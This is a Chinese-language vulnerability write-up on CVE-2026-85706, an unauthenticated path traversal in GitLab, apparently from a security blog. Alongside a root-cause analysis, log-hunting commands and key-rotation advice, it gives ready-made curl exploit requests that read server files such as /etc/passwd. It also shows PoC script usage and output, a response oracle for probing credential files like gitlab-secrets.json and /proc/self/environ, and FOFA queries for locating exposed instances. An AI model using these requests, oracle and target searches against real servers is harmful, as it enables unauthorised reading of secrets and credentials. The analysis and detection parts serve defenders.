CVE-2026-85706:GitLab 未授权路径遍历导致任意文件读取

CVE-2026-85706:GitLab 未授权路径遍历导致任意文件读取

漏洞简介

GitLab CE/EE 是一款被广泛使用的开源代码托管与 CI/CD 平台,自托管部署量在金融、政府、互联网及大型企业研发体系中占据核心位置。CVE-2026-85706 是其中一处未授权路径遍历漏洞,攻击者无需任何账号,即可通过仓库提交 API 触发服务器读取任意本地文件。

漏洞的成因不是单点缺陷,而是四个环节叠加:Workhorse 反向代理与应用服务器 Puma 对 URL 路径的解析认知不一致,攻击者借此绕过上传请求的改写与签名;Rails 侧的文件读取动作被安排在认证之前;读取到的文件内容被送入 Rack 查询串解析器,遇到非法 % 转义时抛出的异常信息又被原样回显进 HTTP 400 响应体

需要特别指出的是,该漏洞的文件读取动作确实不受权限限制,但内容回显通道存在一个苛刻前提:目标文件内容中必须包含一个孤立的 % 字符(即非法的 %HH 转义)。因此 /etc/passwdsecrets.yml 这类不含孤立 % 的文件读不出内容,真正会泄露的是 CI 构建日志与产物、用户上传附件、外置数据库部署的 database.yml。网络流传的"一个请求读取任意文件含 /etc/passwd"的说法并不准确。

影响范围

项类别

详细内容

漏洞编号

CVE-2026-85706

受影响产品

GitLab CE / EE(自托管)

受影响组件

Repository Commits API / Repository Files API

受影响版本

18.7.0 ~ 19.1.7、19.2.0 ~ 19.2.5、19.3.0 ~ 19.3.1

漏洞类型

路径遍历(CWE-22)+ 认证执行缺失

部署方式与影响范围无关,Omnibus、源码编译、Docker、Helm/K8s 均受影响。GitLab.com 与 GitLab Dedicated 由官方后台修复,客户无需操作。

漏洞原理

漏洞根因

漏洞位于 lib/api/helpers/commits_body_uploader_helper.rb 模块的 file_params_from_body_upload() 函数中。数据流如下:

核心代码流程:

步骤

位置

行为

1

路由 post ':id/repository/commits'

仅执行 require_gitlab_workhorse!,校验请求经 Workhorse 转发

2

file_params_from_body_upload()

直接读取客户端提交的 params['file.path']

3

同函数

执行 File.read(file_path)此时尚未认证

4

authorize_push_to_branch!

认证动作被安排在此处,晚于文件读取

5

Rack parse_nested_query()

解析文件内容,遇非法 %ArgumentError

6

400 响应构造

e.message 被插值进响应体,文件内容泄露

关键问题:

  • 文件读取发生在 authenticate! 之前,认证顺序错位

  • Workhorse 与 Puma 对路径的编码态认知不一致,导致绕过

  • 解析器原始异常信息被回显给调用方,构成泄露通道

理解漏洞机制

正常请求结构

GitLab 的提交 API 用于单次请求携带多个文件内容。为避免超大请求体直接进入 Rails,Workhorse 会先将请求体落盘为临时文件,再把元数据注入转发请求。正常请求格式如下:

POST /api/v4/projects/1/repository/commits HTTP/1.1
Host: gitlab.example.com
PRIVATE-TOKEN: <token>
Content-Type: multipart/form-data
[Workhorse 缓冲并签名请求体,注入 file.path / file.size]

服务端处理流程图:

GitLab 服务端处理流程 七度光 www.qdg.tw七度光 www.qdg.tw七度光 www.qdg.tw CVE-2026-85706 GitLab 服务端处理流程 正常请求链路,以及 Workhorse 环节被绕过的确切位置 01 请求进入 客户端发起提交请求 POST /api/v4/projects/:id/repository/commits 02 Workhorse 反向代理 匹配上传路由 → 缓冲请求体 → 签发 JWT 正则基于 EscapedPath() path.Clean ,不解码百分号,且严格锚定结尾 \z ATTACK FORK 攻击在此分叉 路径写成 commits/ (尾斜杠)或 %63ommits (编码态)时,Workhorse 正则匹配失败 —— 请求既不被缓冲,也 不被签名,攻击者伪造的 file.path 原样透传给 Rails。 与此同时 Puma 解码 %63 后归一化为 commits ,仍正常路由到漏洞 handler。 03 Rails 入口校验 require_gitlab_workhorse! 校验 JWT 该守卫仅确认「请求经 Workhorse 转发」。绕过路径下请求仍携带有效 JWT,因此这一步照样通过 04 Rails 权限认证 authorize_push_to_branch! 真正的认证动作被安排在此处,而 File.read(file.path) 已经在这一步之前执行完毕 05 业务处理 正常请求在此完成提交写入;攻击请求则更早阶段就已通过 400 响应体泄露文件内容 图示为 Omnibus 默认部署下的处理顺序,与 Docker / Helm 部署一致

绕过原理

第一层:认证被安排在文件读取之后。 file_params_from_body_upload() 信任客户端提交的原始参数,而真正的 authenticate! 藏在后续的 authorize_push_to_branch! 内部。文件已经被读完,认证才执行。

第二层:Workhorse 与 Puma 的路径解析差异。 这是整个漏洞最精妙的部分,同一路径在两个组件眼中是两个样子:

组件

匹配依据

是否解码 %XX

Workhorse(反向代理)

EscapedPath() + path.Clean

不解码

Puma(应用服务器)

解码后的路径

解码

Workhorse 的上传路由正则严格锚定结尾 \z

^/api/v4/projects/[^/]+/repository/commits\z

于是两种写法都能绕过:

  • POST .../repository/commits/ —— 尾部加斜杠,不匹配 \z

  • POST .../repository/%63ommits —— %63c,Workhorse 看到编码态,不匹配

Workhorse 未命中,不做 body-upload 缓冲与 JWT 签名,攻击者伪造的原始参数原样透传给 Rails。而 Puma 解码 %63ommits 后归一化为 commits,正常路由到漏洞 handler。

第三层:Rack 解析错误成为泄露通道。 当请求中的 Content-Type 参数(注意不是 HTTP 头)被设为 application/x-www-form-urlencoded 时,Rails 会把读到的文件内容交给 Rack::Utils.parse_nested_query() 解析。文件内容中若出现孤立的 %,Rack 抛出:

ArgumentError: invalid %-encoding (<文件内容>)

修复前该异常信息被直接拼进 HTTP 400 响应体,文件内容就此逐字泄露。

完整攻击链路

攻击链路 七度光 www.qdg.tw七度光 www.qdg.tw七度光 www.qdg.tw CVE-2026-85706 攻击链路 从单个匿名请求,到文件内容回显的六个阶段 01 入口 攻击者发起请求 无 Cookie、无 PRIVATE-TOKEN,匿名可达 POST /api/v4/projects/1/repository/commits/ 02 绕过 Workhorse 路由匹配失败 正则基于 EscapedPath() path.Clean ,不解码百分号,且严格锚定 \z commits/ %63ommits 均不命中上传路由;请求体既未被缓冲,也未被 JWT 签名 03 绕过 Puma 解码后路由命中 %63ommits 解码为 commits ,归一化尾斜杠后命中漏洞 handler require_gitlab_workhorse! 因请求携带有效 JWT 而通过 04 触发 Rails 读取任意文件 file_params_from_body_upload() 直接信任客户端传入的 file.path 执行 File.read(params[:file][:path]) ,该读取发生在 authenticate! 之前 05 触发 Rack 解析抛出异常 文件内容被当作查询串解析,遇孤立 % 序列抛 ArgumentError e.message 被插值进 400 响应体 —— 这是内容外泄的唯一出口 06 结果 文件内容回显 invalid %-encoding ( <文件内容> ) 前提:目标存在至少一个匿名可读项目,且文件含孤立 % 才会回显 无认证、无交互、单个 HTTP 请求即可完成全链路

漏洞复现

  • 准备环境

项目

内容

目标设备

GitLab CE 19.3.1(gitlab/gitlab-ce:19.3.1-ce.0

攻击机

任意可访问目标网络的机器

Python 版本

Python 3.10+(脚本仅依赖标准库)

网络条件

HTTP/HTTPS 可达 API 端口

前置配置

目标需存在 1 个公开可见项目

复现步骤

步骤 1:确认目标可访问

# 探测目标是否在线
curl -s -o /dev/null -w "%{http_code}\n" http://target:8929/users/sign_in

预期响应:

  • 返回 200 → 目标在线,是 GitLab 实例

  • 返回 302 → 可能已跳转登录页,仍属正常

  • 连接超时 → 防火墙拦截或主机离线

步骤 2:创建公开项目

登录 GitLab 管理后台,新建一个 Visibility Level 为 Public 的项目并初始化 README,记下项目 ID(通常为 1)。

该步骤是漏洞触发的前置条件。若实例无任何公开项目,commits 路径会返回 404 Project Not Found

步骤 3:漏洞检测

python3 poc/CVE-2026-85706.py check --url http://target:8929 --project 1

受影响版本的典型输出:

form   commits-trailing-slash   HTTP 400  VULNERABLE:existence-oracle
form   commits-json-suffix      HTTP 400  VULNERABLE:existence-oracle
form   commits-canonical        HTTP 401  NOT-VULNERABLE(auth required)

[*] Workhorse bypass probe (same route, sent with and without the 'file' parameter)
    commits-trailing-slash  without 'file'  HTTP 400  {"error":"file is missing"}
    commits-trailing-slash  with    'file=' HTTP 400  VULNERABLE:existence-oracle

[!] VULNERABLE - the endpoint evaluated an attacker supplied file path before authenticating.

判断标准:

  • commits-canonical 返回 401 是对照组 → 该路径下 Workhorse 正常改写了 file.path,攻击者的值未到达漏洞代码

  • commits-trailing-slash 返回 400 → 绕过成立,存在漏洞

步骤 4:读取文件

python3 poc/CVE-2026-85706.py read --url http://target:8929 --project 1 --file /tmp/cve-2026-85706/canary.txt

泄露成功时的输出:

[*] baseline probe (/tmp/this-file-does-not-exist-627748): HTTP 400 -> target build is VULNERABLE
form   commits-trailing-slash   HTTP 400  LEAK!    content disclosed via the Rack parser error
form   commits-canonical        HTTP 401  EXISTS,  parsed without error -> authentication required

步骤 5:手工验证

最小可复现请求:

curl -sk -X POST "http://target:8929/api/v4/projects/1/repository/commits/?file=&file.path=%2Fetc%2Fpasswd&file.size=1&Content-Type=application/x-www-form-urlencoded"

注意:/etc/passwd 只会返回 401(文件可读但无孤立 %,不回显内容)。要看到内容,需换成含 % 的文件。

curl -sk -X POST "http://target:8929/api/v4/projects/1/repository/commits/?file=&file.path=%2Ftmp%2Fcve-2026-85706%2Fcanary.txt&file.size=1&Content-Type=application/x-www-form-urlencoded"

预期响应:

{"message":"400 Bad request - Invalid parameter: invalid %-encoding (SECRET-CANARY-627748-%%%)"}

步骤 6:四态 oracle 判读

该漏洞的响应构成一个四态 oracle,可直接用于无认证侦察:

响应特征

含义

示例路径

400 local file not present

文件不存在

/etc/nonexistent

500 Internal Server Error

文件存在但不可读git 用户权限不足)

/etc/shadowgitlab-secrets.json

401 Unauthorized

文件存在且可读,但无孤立 %不回显

/etc/passwd/proc/self/environ

400 invalid %-encoding (<内容>)

文件存在、可读且含孤立 % —— 内容回显

CI 产物、含 % 的日志、外置 DB 的 database.yml

步骤 7:分支差异对比

同一参数,仅切换 Content-Type 参数值,行为完全不同:

目标文件类型

form 分支

JSON 分支

普通文本(无孤立 %

401,读取并解析成功,随后强制认证

400 Invalid json / 401

root-only 文件

500,存在但无权读

400 Invalid json

不存在的路径

400 local file not present

400 local file not present

结论: 只有 form 分支能泄露内容。JSON 分支(Oj.load_file)不会回显文件字节。网上流传的 -H "Content-Type: application/json" -d '{"file":{"path":"/etc/passwd"}}' 写法完全无效。

利用后验证

检查日志痕迹

查看 Nginx 访问日志与 GitLab API 日志:

grep -E "repository/(commits|files)" /var/log/nginx/gitlab_access.log | grep "file.path"

grep "file.path" /var/log/gitlab/gitlab-rails/api_json.log

grep -E "invalid %-encoding|local file not present" /var/log/gitlab/gitlab-rails/api_json.log

典型日志样本:

POST /api/v4/projects/1/repository/commits/?file=&file.path=/var/opt/gitlab/gitlab-rails/etc/gitlab.yml&file.size=1&Content-Type=application/x-www-form-urlencoded

重点关注尾斜杠与 .json 变体,以及返回 400 且响应体含 invalid %-encoding 的请求。

密钥轮换

由于文件读取本身不受限制,必须假定密钥已泄露,需全量轮换:

  • gitlab-secrets.jsonsecret_key_basedb_key_baseotp_key_base

  • 数据库凭据、对象存储密钥

  • CI/CD 变量、部署令牌、Runner 注册令牌

  • SSH 密钥、云凭据

审计流水线

排查 Runner 与流水线是否存在恶意代码注入、构建产物篡改,并清理新增或高权限账号。

FOFA 语法

识别 GitLab 实例

title="GitLab"

识别 GitLab 版本指纹

body="gon.gitlab_version"

组合检索 / 限定中国大陆资产

title="GitLab" && country="CN"

使用提示: FOFA 无法直接识别版本号,命中结果需用 PoC 的 check 子命令二次确认。若目标无公开项目,可改试 files 路径(/repository/%66iles/),其对项目的要求更宽松。

利用工具下载

CVE-2026-9586:Sangoma Switchvox 未授权 SQL 注入导致远程代码执行 2026-09-05